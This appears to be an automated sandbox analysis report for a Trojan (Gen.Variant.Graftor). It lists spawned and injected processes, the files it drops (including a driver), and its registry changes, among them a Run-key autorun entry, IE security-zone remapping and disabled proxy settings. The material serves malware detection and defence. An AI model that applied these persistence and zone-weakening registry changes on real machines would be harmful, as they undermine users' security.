Gen.Variant.Graftor.187225_9d894c0dd2

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

MiLai.exe:3500
MiLai.exe:2896
-2100_1_xcfx.exe:2888
Y73P2PSearcher_4.exe:612

The Trojan injects its code into the following process(es):

MiLai.exe:2972
%original file name%.exe:1628
Y73Server.exe:348
copy%original file name%.exe:1316

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process MiLai.exe:2972 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\u2[1].htm (108 bytes)
%System%\config\SYSTEM.LOG (4665 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\tab2[1].png (4113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\tj[1].htm (8 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\Fav9.dat (2 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\Down\ETagFile.dat (420 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\tab2.png (13 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\tab3.png (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\tj[1].htm (8 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\btns.js (376 bytes)
%WinDir%\nvse.dat (86 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\btns[1].js (376 bytes)
%System%\config (288 bytes)
%System%\config\system (2126 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\tab3[1].png (2730 bytes)
%Documents and Settings%\%current user%\AppData\Local\MiLai\dwonJsMobile.dat (28 bytes)
%Documents and Settings%\%current user%\AppData\LocalLow\MiLai\edi.dat (304241 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\qv[1].htm (2 bytes)
%System%\drivers\usbdevi.sys (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\tj[1].htm (26 bytes)

The process %original file name%.exe:1628 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
C:\copy%original file name%.exe (10815 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\desktop.ini (67 bytes)

The process -2100_1_xcfx.exe:2888 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Ã×À´ÖúÊÖ\жÔØÃ×À´ÖúÊÖ.lnk (657 bytes)
%Program Files%\MiLai\adb.exe (24009 bytes)
%Program Files%\MiLai\x64\usbdevi.sys (10847 bytes)
%Program Files%\MiLai\MiLai.exe (55814 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\MiLai.exe (55814 bytes)
%Program Files%\MiLai\AdbWinUsbApi.dll (2733 bytes)
%Program Files%\MiLai\Ã×À´ÖúÊÖ.lnk (584 bytes)
%Program Files%\MiLai\usbdevi.sys (8792 bytes)
%Program Files%\MiLai\mlzs.exe (24950 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Ã×À´ÖúÊÖ\Ã×À´ÖúÊÖ.lnk (650 bytes)
%Program Files%\MiLai\uninst.exe (426 bytes)
%Program Files%\MiLai\AdbWinApi.dll (3748 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\MiLai.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\System.dll (0 bytes)

The process Y73P2PSearcher_4.exe:612 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (32 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe (9130 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (744 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe (745 bytes)
%Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (732 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.url (37 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\¹Ù·½Ö÷Ò³.url (37 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Uninstall.lnk (727 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse1.tmp (0 bytes)

The process Y73Server.exe:348 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\61.196.186[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\stat[1].gif (43 bytes)
%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\base[1].css (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\do1[1].php (15399 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@61.196.186[1].txt (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\core[1].php (752 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\stat[1].php (1177 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\search_btn[1].png (534 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\ico_here[1].gif (1 bytes)

The process copy%original file name%.exe:1316 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (163 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (203 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\will[1].htm (374 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\z_stat[1].php (1177 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1564 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (168 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tongji.110160[1].txt (219 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\stat[1].gif (43 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (0 bytes)
%Program Files%\MiLai\uninst.exe (0 bytes)
%Program Files%\MiLai\Ã×À´ÖúÊÖ.lnk (0 bytes)

Registry activity

The process MiLai.exe:2972 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\MiLai]
"ctm" = "99 BE EB F3 9B 95 E4 40"
"Renwucan1" = "2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\MiLai]
"RwWtD" = "3"
"cid" = "-9019431321599"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\MiLai]
"stdd" = "7/L985uV5EBPA/KdopXkQA=="

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\MiLai]
"MiLai.exe" = "米来助手"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\MiLai]
"96198" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\MiLai]
"xk" = "4294967295"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\MiLai]
"insg" = "2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A5 AB A0 F1 C7 0B 3D 7B CF 61 DF 58 55 8E 49 4A"

[HKLM\System\CurrentControlSet\Services\usbdevi\Instances\usbdevi Instance]
"Flags" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\usbdevi\Instances]
"DefaultInstance" = "usbdevi Instance"

[HKCU\Software\MiLai]
"BDATE" = "21 07 25 F4 9B 95 E4 40"

[HKLM\System\CurrentControlSet\Services\usbdevi\Instances\usbdevi Instance]
"Altitude" = "360054"

[HKCU\Software\MiLai]
"instd" = "42156"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"MiLai" = "%Program Files%\MiLai\MiLai.exe /A"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\MiLai]
"ci1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\MiLai]
"ci2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process MiLai.exe:3500 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7B 5C 22 72 99 D9 4B 18 A1 18 C1 C5 1B A8 A4 19"

The process MiLai.exe:2896 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "17 87 41 D3 5A 57 8D DC 78 EB 78 B6 FE CE 11 AA"

The process %original file name%.exe:1628 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"copy%original file name%.exe" = "copy9d894c0dd2e1c87fa5eaa5a7e3d6bf70"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "29 6C 92 ED 32 06 A6 5A 5D 92 C0 07 6E 3C C1 EA"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process -2100_1_xcfx.exe:2888 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\MiLai]
"UpdateVer" = "65537"

[HKCU\Software\MiLai]
"ci1" = "4294965196"

[HKLM\SOFTWARE\MiLai]
"MiLaifiledir" = "%Program Files%\MiLai"

[HKCU\Software\MiLai]
"ci2" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\MiLai]
"MiLaifilename" = "MiLai.exe"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 70 70 3C 55 31 D2 8D 69 81 C5 09 68 E4 EC B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The process Y73P2PSearcher_4.exe:612 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"URLInfoAbout" = "WWW.Y73.COM"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"Publisher" = "ÉîÛÚÊÐÀÖ¼ª¿Æ¼¼ÓÐÏÞ¹«Ë¾"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayIcon" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"
"SetupId" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayVersion" = "6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"DisplayName" = "Y73ÖÖ×ÓËÑË÷ÉñÆ÷ 6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Y73Server.exe]
"(Default)" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 F4 A9 ED 0E B9 48 0D 4C 0C B9 7E CC 1F C9 7A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"UninstallString" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe"

The process Y73Server.exe:348 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "22 74 CB E2 F4 D4 3A 94 7A 3D 60 04 C5 18 D2 A8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
